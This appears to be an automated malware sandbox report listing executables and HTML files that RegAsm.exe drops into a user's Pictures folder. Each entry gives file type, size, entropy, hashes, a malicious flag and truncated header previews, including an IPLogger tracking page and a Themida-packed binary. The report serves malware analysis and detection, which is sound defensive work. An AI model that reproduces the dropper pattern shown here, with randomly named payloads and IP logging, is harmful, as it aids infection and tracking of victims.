Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\7iI5SUAnqRGyB1YdSAO06W1v.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\AN3CiEs9vHs3cPsEPcJxdtOY.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\D7t23m0X26bEkZqkCQtNwK5Y.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\JcuJCrKoIRAAJIb94uRnhVjr.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\Jr1vIs8XqAmt0RT7bHMte8ts.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\M4OBi0ywNcuUZRFLcfJ70nUH.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\MtYY7PxoMVCDp1NJbYQga2LV.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	473601
Entropy (8bit):	7.255805140799215
Encrypted:	false
SSDEEP:	6144:a7ChA4VgoGhrVNWUovmcfVL520yANcFlI22in1en/S3j4iWo:a72A4VgEvmcH9yKCpM/e4iWo
MD5:	F6DFD7F39EF9EEF9094A36B574ADFA5E
SHA1:	B57E4E7B8D0D1E9BC9238D79A7D7B7536812CC7B
SHA-256:	1E0BFF105B6B55998E1B569CC2A9AD5A2792D8FC7F020630DEAE401000F510F0
SHA-512:	5258C4E3A4952A3F09C0BB44D07CA237071BF1BABB2D2B4D5B54966E4CB7FA87FE309546775E2D2A0B54EA31B8F5F4FBA189265CD6AE715EB9127EE69D4FEAA6
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L....E.d......................b......A....... ....@...........................c.....7..........................................<.....a..............................!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data...H%`..........~..............@....rsrc.........a......(..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\QcyIEuk7gD7wTlhElB94jgu9.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\S41vy8IsPU7Iudry37c4uNtg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\STUD4CnDuvZtXsKBuBkO31id.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\SjGlviky3CjPwV1vWXl2gdhJ.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\X53t1QSznpDGsvX2qLbdQFD1.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\de4IGlGSbV9c3J4m0qZtBGm8.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\dq1f6mXIBjMzMXMQVeg2fNsL.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (1460)
Category:	dropped
Size (bytes):	7462
Entropy (8bit):	5.420482116403958
Encrypted:	false
SSDEEP:	192:5LP+u+v13xV1cSHYu+zogDLIIUObDz5p7KoxSR1yz:5D+hv13T1FH0fHIIPD9xKu
MD5:	77F762F953163D7639DFF697104E1470
SHA1:	ADE9FFF9FFC2D587D50C636C28E4CD8DD99548D3
SHA-256:	D9E15BB8027FF52D6D8D4E294C0D690F4BBF9EF3ABC6001F69DCF08896FBD4EA
SHA-512:	D9041D02AACA5F06A0F82111486DF1D58DF3BE7F42778C127CCC53B2E1804C57B42B263CC607D70E5240518280C7078E066C07DEC2EA32EC13FB86AA0D4CB499
Malicious:	false
Preview:	<!DOCTYPE html>.<html lang="" class="html">.<head>..<title></title>..<meta http-equiv="content-type" content="text/html; charset=utf-8" />..<meta http-equiv="X-UA-Compatible" content="IE=edge">.. <meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=yes">..<meta name="author" content="Deorg" />..<meta name="copyright" content="Copyright . IPLogger 2010-" />..<meta name="robots" content="index, follow" />..<meta name="revisit-after" content="7 days" />..<meta name="keywords" content="shortener, iplogger, shortlink, url, domain" />..<meta name="description" content="" />...<link rel="shortcut icon" href="https://cdn.iplogger.org/favicon.ico" type="image/x-icon" />...<meta property="og:image" content="" />..<meta property="og:description" content="" />..<meta property="fb:app_id" content="232115388491569" />..<meta property="og:image:width" content="285" />..<meta property="og:image:height" content="200" />..<meta property="og:url" content="https://yip.su/R

C:\Users\user\Pictures\g81RdhkO8Pp47pz1l8siHWuN.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\gX4d2ArXDOHTjofk9CfRb7Jz.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\gjVUxsTFUgOAjApkeCU52nGD.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.704045744410397
Encrypted:	false
SSDEEP:	3072:uJNgSgE68pOq15/QN1cV+exuCNT0XLeaU2eAoX4QwqnoBm9sZ2gfg2eX15CFusKP:UnN15YgV27It/4QwkoBm9Vg5m1GK0
MD5:	FECBBAC6C0B95A95776F29BDAA57C6D5
SHA1:	DC1B7F093F0FCEC1502916F2F248ECB5916F15CC
SHA-256:	83765226ABB0423196C083BC6B6FB5E8EA2D078B4C885165FEC1401ACB581695
SHA-512:	1B1D573930B2FE99B91A327DFAE23C14536A29A4E71898E77D6B8697B11A521EE07F4032F5F26ABB1DB28BBF6E6D198599C68ABAD984B6C6C15C7EFD1EA9AFCF
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....Zd.....................\|`......A....... ....@...........................a......'.........................................<....._. ............................!..8............................y..@............ ..x............................text............................... ..`.rdata..<m... ...n..................@..@.data.....]......n...~..............@....rsrc... ....._.....................@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\gmHwlMZnGawtAwStcAU6D1RM.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406136
Entropy (8bit):	7.976287950479779
Encrypted:	false
SSDEEP:	98304:xjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/E6:xIS769aql4v/ahlHt2c0v7pgQo3
MD5:	AB07F9804DD13FC897A07EB65E58166A
SHA1:	2BAE9148D763297A7C83F5211DBD3623DFDC94C1
SHA-256:	8DCC360090EA80EE31CD3CCD79CD0177CC998D9B06F06A6240CC4E099A1EBB74
SHA-512:	9E46D7C25BD36E60A7B71837C276857C5971DA2912D37E26DC9690F62E55FC8532EE84B465D161D82CF22045E3E13E22B1C2DF4CB0BB19C01A459001CA898B1E
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C.x............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\jzMGE9Xb2Ny8jtCWlXWAk3ap.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
SSDEEP:	196608:91OaXf1Vgw0Q2GekhBTUpKiTOZ5FrrOhU+3:3OaXf1Gwbek/QKis5FO33
MD5:	A63018CC078F57C640AC2EC8ED84DEAD
SHA1:	1F5C17894A755114527E92304F4A74195C48031D
SHA-256:	41D01D8FC610B6CEB17687C58973EE8F6A7BBDC1EB6DEB19297E3F4C4C62B558
SHA-512:	A42F522745BBE8B36EA60D7688A713BCE89DF2F7B0F5C7AD7B32BC43989FCA71E00D817692263EA4004AD6BE23E64DD9D3D2F1DFBE7B5038CF4B79B7064A9864
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y..s...,...s...r.!.s.......s...x..s.......s.......s.^.u...s.Rich..s.........PE..L....S.L.............................K............@.............................................................................d....p..`............................................................................................................text.............................. ..`.rdata...D.......F..................@..@.data...HZ.......2..................@....sxdata......`......................@....rsrc...`....p......................@..@................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\oXA3lyE6zGyLyvw1CwVKpLsf.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4406144
Entropy (8bit):	7.976285875147776
Encrypted:	false
SSDEEP:	98304:pjkS767mgfCql3JGv/ahl+SHfFvOcmDv82yK3QQoN3V/EE:pIS769aql4v/ahlHt2c0v7pgQoZ
MD5:	26D8B57793A75CEC9D9265BF16ED905C
SHA1:	F427028D21A2A6406BBB98CFB53851C3EA534883
SHA-256:	3C8C36618E1EAA925CFA7E7ADC78D22D3440C5D2DF88DF55C50E6FA3F2E1FA9E
SHA-512:	957704A0FB5877E43C96ADA9FAB01E3A193CFB0D79B4DFDE093AAE6432206477F7D8247D0A525AFCFEE62742056AAF4CF6E623DDBFCBE6A750B36F42051CC795
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.~....H...H...H...H...H...H...H...H%..H...H...H...Ha..H.].H...H...H...H.].H...HRich...H........................PE..L.....d.............................A....... ....@.................................uGC........................................<....... ............0C..............!..8............................y..@............ ..x............................text............................... ..`.rdata..Lm... ...n..................@..@.data.............?..~..............@....rsrc... ............ A.............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\pScZMSZH0uu2OkUDvWpN2tuz.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	2437912
Entropy (8bit):	7.913512358164593
Encrypted:	false
SSDEEP:	49152:25HOOeI0PrBsku297659/XQR70jEUHD5Gl09XCWKYhNj:25rebqkXe5ZQRA/FGl0Z3KKj
MD5:	F6A0D4349D9A0CEAB75A7BAF7285F2A9
SHA1:	9ABFF945F6987830AA0A1E2FB798080DC91011D6
SHA-256:	B48255236A72B0D96FD25F42BE98CFB1694AA7D4824EE46C2E3B0DB397B7FDDF
SHA-512:	BB701C5BF26A9DEBDCB325DE902BC4A254EFBBF737129BBA86D19A1207E647F54BA1D2056A68ED39B22BBD14BB50D2125C9D82FFDB7337806975FCBA6A1B4C9D
Malicious:	true
Preview:	MZ@.....................................!..L.!Win64 .EXE...$@...PE..d.....)f.........."....'.....J........i........@......................................%... ..................................................`.......'.......h.......$..a...................................p.(................................................... ..'............................. ......'..........................rsrc.........'.....................@....idata.......`......X..............@....tls.........p......Z...................themida..>...*......\..............`....boot....v....i..v...\..............`..`........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Pictures\pl49PSFkcWVTQqBe8TA2VhRW.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6607314
Entropy (8bit):	7.9960039713545585
Encrypted:	true
